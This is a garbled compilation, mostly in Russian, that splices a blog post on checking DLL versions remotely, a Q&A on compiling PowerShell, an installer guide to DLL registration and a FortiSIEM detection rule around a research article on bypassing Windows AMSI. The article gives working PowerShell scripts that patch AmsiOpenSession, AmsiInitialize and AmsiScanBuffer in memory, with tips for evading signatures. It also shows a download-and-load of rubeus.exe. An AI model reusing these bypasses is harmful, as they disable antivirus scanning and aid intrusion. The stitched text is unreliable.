Форты правил siem

powershell проверка версии dll

Добрый день! Уважаемые читатели и гости IT блога Pyatilistnik. В прошлый раз мы с вами устранили уязвимости CVE-2021-3712, CVE-2021-23840, CVE-2021-23840, CVE-2019-1543, CVE-2018-0732, CVE-2017-3731 и CVE-2021-3711 связанные с библиотекой libssl-1_1-x64.dll. Сегодня я хочу немного дополнить эту стать. и научить вас удаленно получать версию библиотеки, особенно это будет актуально для массы серверов, когда вы скриптом сделали замену, и хотите проверить результат вашей работы. В целом уверен, что данный сценарий вы сможете применить в разных ситуациях. Если будут еще какие-то предложения по модификации, то жду вас в комментариях.

Is it possible to compile PowerShell code into a .dll file? After all, it’s a .NET language just like C# or VB.net.

asked Oct 6, 2023 at 17:52

Pingui's user avatar

4 gold badges16 silver badges31 bronze badges

This answer, from a key PowerShell team member involved in implementing the dynamic, transient, behind-the-scenes compilation present since PowerShell v3, has detailed background information.

  • No, PowerShell code cannot be compiled directly into a .NET assembly.

  • Even if this were to be implemented, which is technically possible:

    • The resulting assembly would still depend on a PowerShell runtime.
    • “It would be somewhat difficult and awkward to call PowerShell scripts from other languages because several factors – primarily pipelining and parameter binding – differ somewhat from normal method dispatch.” (emphasis added)
    • I take from that: This isn’t worth implementing.
  • As bluuf notes, you can write a compiled wrapper, such as in C#, around PowerShell code, via the PowerShell SDK:

    • However, doing so is only worthwhile for selective calls to PowerShell cmdlets in order to benefit from their high-level functionality.
    • In other words: such a wrapper would (should) still mostly consist of code in the language that the wrapper is written in, such as C#.

answered Oct 6, 2023 at 18:52

mklement0's user avatar

68 gold badges673 silver badges862 bronze badges

#Requires -Version 3.0

<#

.SYNOPSIS

Compiling PowerShell Class Modules into C# DLLs.

 
.DESCRIPTION

This script compiles PowerShell Class Modules into C# Dynamic Link Libraries (DLLs).

The compiled file can be imported into PowerShell using the “using assembly .\Path.dll” directive,

or utilized with other .NET languages such as C# by adding the DLL to references and importing it using “using static ExampleName;”.

 
.PARAMETER Path

Specifies the path to the *.ps1 or *.psm1 script containing only a class and related namespaces.

 
.PARAMETER ScriptDefinition

Provides a string containing the class code.

 
.PARAMETER OutputAssembly

Specifies the path where the resulting *.cs or *.dll file will be saved.

 
.PARAMETER DebugMode

Enables the GetPowershell() method, as well as access to both ClassHandlers and other features.

 
.PARAMETER SkipUpdate

Doesn’t check for updates.

 
.EXAMPLE

Compile-Dll .\example.psm1 -o .\example.dll

 
.EXAMPLE

Compile-Dll .\example.psm1 -o .\example.cs

” “

 
        string Script = Encoding.UTF8.GetString(Convert.FromBase64String(“cGFyYW0gKFtzdHJpbmddJE1ldGhvZCwgW29iamVjdFtdXSRBcmd1bWVudHMsIFtoYXNodGFibGVdJFByb3BlcnRpZXMpDQpDbGFzc0hhbmRsZXIgJE1ldGhvZCAkQXJndW1lbnRzICRQcm9wZXJ0aWVzICRmYWxzZQ==”));

 
        Hashtable Properties = new Hashtable();’

“`n Properties.Add($(‘”‘ + $property.Keys + ‘”‘), $($property.Keys));`n”

“`n }`n`n”

 
        string Script = Encoding.UTF8.GetString(Convert.FromBase64String(“cGFyYW0gKFtzdHJpbmddJE1ldGhvZCwgW29iamVjdFtdXSRBcmd1bWVudHMsIFtoYXNodGFibGVdJFByb3BlcnRpZXMpDQpDbGFzc0hhbmRsZXIgJE1ldGhvZCAkQXJndW1lbnRzICRQcm9wZXJ0aWVzICR0cnVl”));

 
        Hashtable Properties = new Hashtable();’

“`n Properties.Add($(‘”‘ + $property.Keys + ‘”‘), $($property.Keys));`n”

“`n }`n”

” //Visible Class`n`n”

“`nSucesss, $((Get-Item $OutputAssembly).Name) has been compiled!”

However, to make sure the data transfer between applications work , these OLE controls must be registered on the system. How can we do that? That’s what we will show you in this article.

How to Register DLL/OCX with VBscript?

Option Explicit
On Error Resume Next
Dim strCmd,WshShell,strInstalldir
Set WshShell = CreateObject("WScript.Shell")
strSysRoot = WshShell.ExpandEnvironmentStrings( "%SYSTEMROOT%" )
strInstalldir = strSysRoot & "\DLL"
strCmd = "regsvr32.exe " & chr(34) & strInstalldir & "\libifcoremd.dll" & chr(34)& “ /s”
WshShell.Run strCmd
  • Option Explicit: This statement enforces variable declaration in the script, ensuring that all variables are explicitly declared before they are used.
  • On Error Resume Next: This statement allows the script to continue running even if an error occurs, bypassing the error and continuing with the next line of code.
  • Dim strCmd, WshShell, strInstalldir: Declares three variables: strCmd to hold the command to be executed, WshShell to access the Windows Script Host Shell object, and strInstalldir to store the path to the DLL file.
  • Set WshShell = CreateObject(“WScript.Shell”): Creates an instance of the Windows Script Host Shell object, which allows the script to run shell commands and interact with the Windows environment.
  • strSysRoot = WshShell.ExpandEnvironmentStrings(“%SYSTEMROOT%”): Retrieves the value of the %SYSTEMROOT% environment variable using the ExpandEnvironmentStrings method of the WshShell object. The %SYSTEMROOT% variable represents the path to the Windows installation directory.
  • strInstalldir = strSysRoot & “\DLL”: Constructs the path to the DLL file by appending the “\DLL” folder to the strSysRoot variable. This assumes that the DLL file is located in the “DLL” folder within the Windows installation directory.
  • strCmd = “regsvr32.exe ” & chr(34) & strInstalldir & “\libifcoremd.dll” & chr(34) & ” /s”: Constructs the command to be executed. It uses the regsvr32.exe utility to register a DLL file (libifcoremd.dll). The path to the DLL file is obtained by combining strInstalldir with the relative path \libifcoremd.dll. The chr(34) is used to insert double quotes into the command string, and /s is a parameter to silently register the DLL without displaying any user interface.
  • WshShell.Run strCmd: Executes the command stored in the strCmd variable using the Run method of the WshShell object. This runs the command in a separate process.
Option Explicit
On Error Resume Next
Dim strCmd,WshShell,strInstalldir
Set WshShell = CreateObject("WScript.Shell")
strSysRoot = WshShell.ExpandEnvironmentStrings( "%SYSTEMROOT%" )
strInstalldir = strSysRoot & "\DLL"
strCmd = "regsvr32.exe /U " & chr(34) & strInstalldir & "\libifcoremd.dll" & chr(34)& “ /s”
WshShell.Run strCmd
  • Now that the scripts are created, we need to open Advanced Installer and navigate to the Custom Actions page.
  • There, search for the Launch attached file predefined custom action and add it into the sequence.
  • Select your previously created registration script and configure the custom action as follows:

register the DLL

We also want to unregister the DLL during uninstallation, so let’s create another custom action the same way as we did previously. Except this time, select the unregister script and configure the Custom Action as seen below:

unregister the DLL during uninstallation

And that is it, all you need to do is Build the MSI and install it. The DLL will be registered.

:/>  Гаджеты для Виндовс 10 и виджеты: как установить на Рабочий стол и настройка

How to Register DLL/OCX with PowerShell?

$Arguments = "C:\Windows\DLL\libifcoremd.dll", "/s"
Start-Process -FilePath 'regsvr32.exe' -Args $Arguments -Wait -NoNewWindow -PassThru
  • $Arguments: Declares a variable to hold the arguments for the regsvr32.exe command and assigns the arguments to be passed to the regsvr32.exe command. The first argument is the path to the DLL file (C:\Windows\DLL\libifcoremd.dll), and the second argument (/s) is a parameter to silently register the DLL without displaying any user interface.
  • Start-Process -FilePath ‘regsvr32.exe’ -Args $Arguments -Wait -NoNewWindow -PassThru: Executes the regsvr32.exe command using the Start-Process cmdlet. The -FilePath parameter specifies the path to the executable (regsvr32.exe). The -Args parameter specifies the arguments to be passed to the executable, which are stored in the $Arguments variable. The -Wait parameter ensures that the script waits for the command to complete before continuing. The -NoNewWindow parameter prevents the command from opening a new window. The -PassThru parameter returns an object representing the newly created process, allowing for further interaction if needed.
$Arguments = “/u”,"C:\Windows\DLL\libifcoremd.dll", "/s"
Start-Process -FilePath 'regsvr32.exe' -Args $Arguments -Wait -NoNewWindow -PassThru
  • When the scripts are created, we navigate to the Custom Actions page.
  • Search for the Run PowerShell script file predefined Custom Action and add it in the sequence.
  • Once we select the registration PowerShell script, we can proceed to configure the Custom Actions as follows:

DLL Register PowerShell script

DLL Unregister PowerShell script

And you’re done, now you can Build the MSI and install it. The DLL will be registered.

How to Register DLL/OCX with Advanced Installer?

Advanced Installer makes it much easier to handle OLE control registration by providing a Registration Tab GUI.

Accessing the GUI is quite easy with these steps:

  1. First navigate to the Files and Folders page
  2. Add the DLL/OCX files.
  3. Once the files are added, right-click on the DLL/OCX and select Properties.
  4. Then, navigate to the Registration Tab.

Register DLL/OCX with Advanced Installer

As you may notice, there are three methods for registering files, two for native libraries and one for .NET assemblies.

– Self-register native library

This file is marked for self-registration, however, the self-registration method for registering components has many drawbacks (like not being able to roll back the changes if something fails later in the install) and it is against Microsoft guidelines.

– Extract registration info from the native library

All the necessary registry entries and keys are installed separately. You can see them in the Registry and COM pages. This is the preferred way to register a file.

– Register .NET assembly for COM interoperability

It creates the required registry entries so that your assembly is operable through COM. You can see those registry entries in the Registry page.

advanced MSI packaging

MSI Packaging In-Depth Training Book

by Alexandru Marin

Время на прочтение

В одной из наших предыдущих статей (советую ознакомиться) мы рассматривали типовые механизмов защиты для операционных систем семейства Windows. В главе AMSI Bypass кратко рассмотрели принцип работы библиотеки и почему обход amsi.dll является одним из самых популярных среди злоумышленников. Сегодня мы погрузимся глубже в библиотеку и то, как она помогает антивирусному средству осуществить анализ подозрительных файлов. Рассмотрим известные реализации обхода и остановимся подробнее на новых методах лета 2023 года в Windows 11. Поехали!

Дисклеймер: статья не призывает к противоправным действиям, она нацелена на изучение механизмов и технологий.

Содержание

  1. Общие способы обхода

  2. AMSI.dll способы обхода в Windows 11

AMSI.dll описание

Amsi (Antivalware scan interface) – одно из базовых программных средств Windows, разработанное для защиты на конечном устройстве пользователя. Структурно, Amsi работает как интегрированное приложение с открытым системным API. Оно позволяет программному обеспечению защищаться от вредоносного кода, путем отправки его экземпляров установленному антивирусному средству.

Тут стоит остановиться на том, что ПО, которое может взаимодействовать с AMSI делится на две группы:

  1. Программа стороннего разработчика или от Microsoft, которая хочет проверять поступающие на вход данные.

  2. Стороннее антивирусное средство, которое ставится взамен Windows Defender и использует AMSI только уже в роли анализирующей стороны. Поэтому организации не ограничены в выборе антивирусного вендора. Если вы разработчик антивирусного ПО, то вам необходимо зарегистрировать свой интерфейс для взаимодействия.

Как было сказано в предыдущей статье, AMSI предназначен, в частности, для предотвращения беcфайловых атак. Это связано с тем, что про PE файлы подвергаются большему анализу, так как включаются все 4 механизма: статический (aka сигнатурный) и динамический анализ, механизм распаковки, поведенческий (aka Эвристический) анализ. А для скриптовых языков существует возможность выполнять команды без попадания на диск, что повышает сложность их анализа и является преимуществом для злоумышленников. Для анализа неисполняемых файлов и скриптов, была разработана amsi.dll. Она позволяет осуществлять сигнатурный анализ кода до запуска и после, в процессе выполнения .Net.

Amsi используют обработчики скриптов (например powerhsell) , приложения, которым требуется проверять буфер памяти перед выполнением, а также приложения, обрабатывающие файлы, которые могут содержать исполняемый не PE код, в том числе в PDF-документах.

По умолчанию, Windows Defender взаимодействует с AMSI API для сканирования следующих компонентов:

  • PowerShell от версии 2.0 (готовые скрипты или анализ кода в динамике)

  • Windows Script Host (wscript.exe и cscript.exe)

  • Visual Basic Scipt

  • Скрипты макросов офисных программ (Office VBA)

  • .NET Framework (версии 4.8)

  • Windows Management Instrumentation (WMI), которые часто используют в атаке LOL (“living off the land”)

Если посмотреть Exports для amsi.dll, то можно увидеть список процессов, которые загрузили функции библиотеки:

Форты правил siem

AMSI bypass – От истоков к Windows 11Порядок работы

Рассмотрим работу библиотеки на самом распространенном примере, при выполнении powershell команд.

Форты правил siem
  1. При запуске процесса powershell.exe (как удаленно, так и локально) или выполнении скрипта .ps1 вызывающего запуск этого процесса, amsi.dll загружается в область памяти powershell.exe. Можем просмотреть список экспортируемых функций в Process Hacker.

    Форты правил siem

    Основой выполнения анализа является цепочка функций: AmsiInitialize() -> AmsiOpenSession() -> AmsiScanBuffer() -> AmsiScanString() -> AmsiCloseSession().
    Попробуем запустить powershell.exe через отладчик и поставить точки останова на первых трех функциях.

    Форты правил siem

    Как видим, процесс еще полностью не запущен.

  2. До выполнения команд, осуществляется вызов функции AmsiInitialize(), которая инициализирует AMSI API:

    HRESULT AmsiInitialize(	[in] LPCWSTR   appName,	[out] HAMSICONTEXT *amsiContext	 );

    На вход она получает имя при­ложе­ния appName и ука­затель на струк­туру HAMSICONTEXT. После выполнения будет инициализирован аргумент amsiContext. Это дескриптор типа HAMSICONTEXT, который будет передаваться при всех последующих вызовах AMSI API.
    Так это выглядит в отладчике:

    Форты правил siem

    Как видим, процесс все еще полностью не запущен.

  3. Далее в процессе запуска или после подачи нового кода на исполнение про­исхо­дит вызов AmsiOpenSession() :

     HRESULT AmsiOpenSession( [in] HAMSICONTEXT amsiContext, [out] HAMSISESSION *amsiSession );

    Функция AmsiOpenSession() используется для передачи нескольких запросов на сканирование и также имеет 2 аргумента. Первым аргументом является amsiContext, который передается из предыдущей функции. После выполнения, будет инициализирован второй аргумент amsiSession. Это дескриптор типа HAMSISESSION который будет передаваться при всех последующих вызовах AMSI API в рамках текущего сеанса.

    Форты правил siem

    Процесс все еще полностью не запущен.

  4. Затем вызов функции AmsiScanBuffer():

    Форты правил siem

    Теперь процесс запущен и готов принимать на вход команды. Вместе с этим этапом вызывается функция AmsiScanString().

  5. При получении на вход команд или целого скрипта, функция AmsiInitialize() не будет вновь вызвана для данного процесса, а AmsiOpenSession(), AmsiScanBuffer() и AmsiScanString() будут вызываться по очереди.

    HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result	);	HRESULT AmsiScanString(	   [in] HAMSICONTEXT amsiContext,	   [in] LPCWSTR      string,	   [in] LPCWSTR      contentName,	   [in, optional] HAMSISESSION amsiSession,	   [out] AMSI_RESULT  *result	);

    Функции имеют аргументы ранее инициализированных amsiContext и amsiSession. Так же содержимое строки, его длину, идентификатор и результат сканирования, который будет известен после отправки.

  6. Антивирусное средство с помощью данных функций осуществляет доступ соответственно к буферу и строкам выполняемых операций и сканирует их на наличие вирусных сигнатур. Затем он возвращает результат сканирования обратно AMSI:

  • AMSI_RESULT_CLEAN если result = 1

  • AMSI_RESULT_DETECTED если result = 32767 или 32768 После чего принимается решение о запуске кода.

:/>  Код 0xc0000005 смещение 0x003c91cc ошибка mta

Доступ осуществляется с помощью RPC вызовов. Ниже представлен перевод схемы, описывающий предлагаемые интерфейсы взаимодействия и их уровень в системе.

Форты правил siem
  1. Дополнительный этап. Тут стоит обратить внимание на то, что анализ осуществляется двух видов:

  • Анализ кода powershell на наличие триггеров и вредоносных функций до запуска. 6 этап.

  • Анализ двоичного исполняемого .Net кода после передачи Powershell для выполнения (assembly::load) в памяти текущего процесса.

Общий порядок работы представил на схеме:

Форты правил siem

Общие способы обхода

Библиотека является мостом между средством выполнения кода и средством его анализа. Основные методы обхода заключаются в разрушении этого моста.

Историю публикования методов обхода можете наблюдать в переводе схемы от Trend Micro ниже:

Форты правил siem

К методам относят:

  • Понижение версии PowerShell

  • Обфускация, кодирование и шифрование строк

  • Перехват вызовов функций библиотеки AmsiInitialize(), AmsiOpenSession(), AmsiScanBuffer(), AmsiScanString() и их изменение

  • Патчинг памяти функции AmsiScanBuffer() и AmsiOpenSession()

  • Вызов ошибки в инициализации библиотеки

  • Подмена оригинальной библиотеки Вот несколько статей, описывающих большинство методов: 2021, 2021-1, 2021-2

Для самого простого обхода функции AmsiScanString() используют обфускацию, кодирование и шифрование строк. Самым сложным механизмом с точки зрения обхода является анализ памяти в процессе выполнения скрипта функцией AmsiScanBuffer(). После запуска, все зашифрованные и обфусцированные строки попадают в память в виде открытых инструкций.

Главное в обходе, отключить AMSI API, что бы не допустить анализ открытых вредоносных участков в памяти. Для этого и разрабатываются методы нарушения процесса загрузки библиотеки в память powershell, ее подмена, понижение версии, перехват вызовов всех основных функций для изменения значений переменных, отвечающих за “чистоту” кода. Одним из наиболее эффективных методов является исправление (патчинг) области памяти загруженной библиотеки, позволяющий отключит анализ “глобально” для текущего процесса. Вот старый, но классический пример

Методы обхода использующие дополнительный код, при запуске в powershell, аналогично любому другому коду проходят сканирование функцией AmsiScanString(), что обуславливает необходимость постоянно “освежать” экземпляры кодов обхода или использовать глубокую обфускацию и шифрование. Этот процесс можно назвать исследованием и постоянных тестированием. Ведь анализ строк AMSI имеет порог реагирования и определенные триггеры.

Главное что стоить из этого понять, что для успешного перехвата или патчинга, необходимо пройти первый эшелон обороны – строковый сигнатурный анализ самого кода Powershell. После которого, будет выполнен код обхода.

Если у вас есть возможность запустить сторонний процесс, и есть необходимость отключить amsi защиту (зачем?), то вот две интересные реализации в виде исполняемых файлов. Amsi Killer и новый Обход с использованим процесса как отладчик

Процесс модификации методов непрерывен, однако общие подходы неизменны. Для успешного обхода необходимо использовать самые свежие реализации или оживлять старые.

AMSI.dll способы обхода в Windows 11

В Windows 11 некоторые атаки на функции перестали работать, дело в изменении кодов этих функций.

Сейчас мы рассмотрим 3 атаки на функции AmsiInitialize(), AmsiOpenSession(), AmsiScanBuffer() и разберем особенность обхода анализа сборки .Net.

Атака на AmsiOpenSession()

В предыдущих версия Windows методом обхода являлось исправление первого DWORD, на которое указывает amsiContext. Значение слова DWORD сравнивалось с “AMSI“. Но теперь этой проверки нет, однако существует 4 места для потенциального изменения инструкций:  RDX, RCX, второе и третье слово QWORD сравниваются с 0. Если любой из них равен 0, AmsiOpenSession() завершается с ошибкой. Вот ветки полученные с помощью IDA.

Форты правил siem

Вот пример строки для патчинга функции AmsiOpenSession() для Windows 10, которая использует методы из System.Reflection.Net

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Эта обфусцированная однострочная полезная нагрузка выполняла:

  • определение блока с Ref, где имелись основные типы объектов сборки;

  • нахождение AmsiUtils и amsiContext;

  • вычисление адреса amsiContext и исправление его значения на 0.

Возьмем ее за основу и модернизируем, для исправления второго слова QWORD:

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)

Выполним его и видим, что AMSI для данного процесса отключен:

Форты правил siem

Таким образом можно изменять значения и для третьего слова QWORD.

Попробуем немного другой вариант, для изменения RCX. Изменим проверку командой xor rcx, rcx.

В “сыром” виде это значения \x48\x31\xc9.

Возьмем известный скрипт для патчинга и вставим в него новые инструкции:

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
Форты правил siem

Успешно! Amsi для данного процесса отключен.

:/>  Aero Glass 10 — цветная тема с эффектом стекла

Атака на AmsiInitialize()

Так как эта функция выполняется первой, до загрузки остальных, то напрямую изменить память мы не сможем. Но есть возможность изменить структуру HAMSICONTEXT на которую ссылается amsicontext. И так как сигнатурный анализ строк никто не отменял, обфускация необходима.

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Failed”) {$f=$e}};$f.SetValue($null,$true)

Данный обход все еще работает в Windows 11, только необходимо осуществить обфускацию любым доступным инструментом или вручную.

Атака на AmsiScanBuffer()

При анализе веток выполнения функции функции можно встретить команду mov eax, 0x80070057.

Видим код ошибки E_INVALIDARG в списке:

Форты правил siem

Это код который возвращает функция на выходе при ошибке. Необходимо записать код возврата в память.

mov eax, 0x80070057
ret

В “сыром” виде это значения \xb8\x57\x00\x07\x80\xc3, но так как их сигнатуры добавлены в базы, необходимо их изменить. Например:

mov eax, 0x80071234;
mov ax, 0x0032;
mov al, 0x57
ret;

Вставляем инструкции в тот же скрипт из предыдущего обхода:

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
Форты правил siem

Успешно! Amsi отключен для данного процесса.

Обход AMSI при загрузке сборки .Net

Например, мы скачиваем двоичный файл, пытаемся загрузить его в память и выполнить:

$data=(new-object System.Net.WebClient).DownloadData(‘http://192.168.0.45:443/rubeus.exe’)
$assembly=[System.Reflection.Assembly]::Load($data)

Увидим ошибку: Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Но это же не ответ AMSI о вредоносном ПО?

Почти! Это результат сканирования AMSI переданного кода сборки. Данная ситуация хорошо описана в статье 2021 года, но актуальна до сих пор.

Форты правил siem

После вызова AmsiScan() библиотеки clr.dll, происходит повторный запуск функций AmsiInitialize() и AmsiScanBuffer() библиотеки amsi.dll, что говорит нам о необходимости еще раз использовать атаку на AmsiScanBuffer().

Закрепим. Атака AmsiInitialize(), не работает, поскольку полезная нагрузка изменяет вложенные значения в пространстве имен System.Management.Automation. Это пространство имен является корневым пространством имен для PowerShell. Оно не связано со сканированием сборки .NET. В то время AmsiOpenSession() вообще не вызывается в AmsiScan(). Вызывается AmsiScanBuffer, следовательно, метод обхода путем атаки на AmsiScanBuffer() все еще работает при загрузке сборок .NET.

Полезные ссылки

Description

Detects loading of essential DLLs used by PowerShell, but not by the process powershell.exe. Detects behaviour similar to meterpreter’s “load powershell” extension. This rule is adapted from https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/image_load_dll_system_management_automation_susp_load.yml

Узнаем версию библиотеки dll на массе серверов через PowerShell скрипт

У меня есть RDS ферма состоящая из 50 RDSH хостов на базе Windows Server 2022. Все они являются членами инфраструктуры Active Directory. Мне необходимо проверить версию библиотеки ICSharpCode.SharpZipLib.dll по пути:

C:\Program Files (x86)\Apps\Workspace Desktop Edition\

Интересны два параметра FileVersion и ProductVersion. Так же для выполнения скрипта вам потребуется создать текстовый файл в котором нужно поместить имена серверов, каждый с новой строки и без пробелов.

Файл со списком серверов

Запустите PowerShell ISE в режиме администратора от имени той учетной записи у которой есть права на этих серверах.

# Чтение списка компьютеров из текстового файла
$computers = Get-Content -Path “C:\Temp\RDS\servers.txt“

Получение версии dll в powershell

Как видите выше я сделал первичную выгрузку и вижу, что у библиотеки ICSharpCode.SharpZipLib.dll FileVersion и ProductVersion версия 0.86.0. После ее обновления картина поменялась, и версия стала 1.4.2+33f64eb0f28cdd2b084cb822fcc224c7c5aba553, тем самым я смог устранить уязвимость CVE-2018-1002208.

Получение версии dll в powershell-2

Как видите все оказалось очень простым, теперь у вас всегда будет под рукой PowerShell скрипт, главное актуализировать список серверов. На этом у меня все, с вами был Иван Сёмин, автор и создатель IT портала Pyatilistnik.org.

Remediation Guidance

No remediation guidance specified

Trigger Conditions

Filter

MITRE ATT&CK® Techniques

Command and Scripting Interpreter: PowerShell

Adversaries may abuse PowerShell commands and scripts for execution. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.

Data Source

Windows Sysmon via FortiSIEM Agent

MITRE ATT&CK® Tactics

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.

Incident Attribute Mapping

This section defines which fields in matching raw events should be mapped to the incident attributes in the resulting incident.

The available raw event attributes to map are limited to the group by attributes and the aggregate event constraint fields for each subpattern

hostName = Filter.hostName,
loadedProcName = Filter.loadedProcName,
procName = Filter.procName

Time Window

300 seconds

SubPattern Definitions

SubPattern Name: Filter

This is the named definition of the event query, this is important if multiple subpatterns are defined to distinguish them.

SubPattern Query

This is the query logic that matches incoming events

eventType="Win-Sysmon-7-Image-Loaded" AND loadedProcName REGEXP "\\System\.Management\.Automation\.Dll$|\\System\.Management\.Automation\.ni\.Dll$" AND ((procName NOT IN ("C:\\Program Files\\PowerShell\\7\\pwsh.exe","C:\\Windows\\System32\\dsac.exe") AND procName NOT REGEXP "\\Citrix\\ConfigSync\\ConfigSyncRun\.exe$|\\IDE\\devenv\.exe$|\\Microsoft SQL Server Management Studio .*\\Common.*\\IDE\\Ssms\.exe$|\\ServerManager\.exe$|\\ServiceHub\.Host\.CLR\.x86\.exe$|\\ServiceHub\.SettingsHost\.exe$|\\ServiceHub\.VSDetouredHost\.exe$|\\WINDOWS\\System32\\RemoteFXvGPUDisablement\.exe$|\\WINDOWS\\System32\\sdiagnhost\.exe$|\\mscorsvw\.exe$|\\powershell\.exe$|\\powershell_ise\.exe$|\\runscripthelper\.exe$|\\sqlps\.exe$|\\syncappvpublishingserver\.exe$|\\winrshost\.exe$|\\wsmprovhost\.exe$" AND procName NOT REGEXP "^C:\\Program Files \(x86\)\\Microsoft Visual Studio\\|^C:\\Program Files\\Microsoft Visual Studio\\") AND (procName NOT REGEXP "^C:\\Windows\\Temp\\asgard2-agent\\" OR procName NOT REGEXP "\\thor64\.exe$|\\thor\.exe$") AND (procName IS NOT NULL))

Group by Attributes

This defines how matching events are aggregated, only events with the same matching attribute values are grouped into one unique incident ID

hostName,loadedProcName,procName

Aggregate Constraint

This is most typically a numerical constraint that defines when the rule should trigger an incident

COUNT(*) >= 1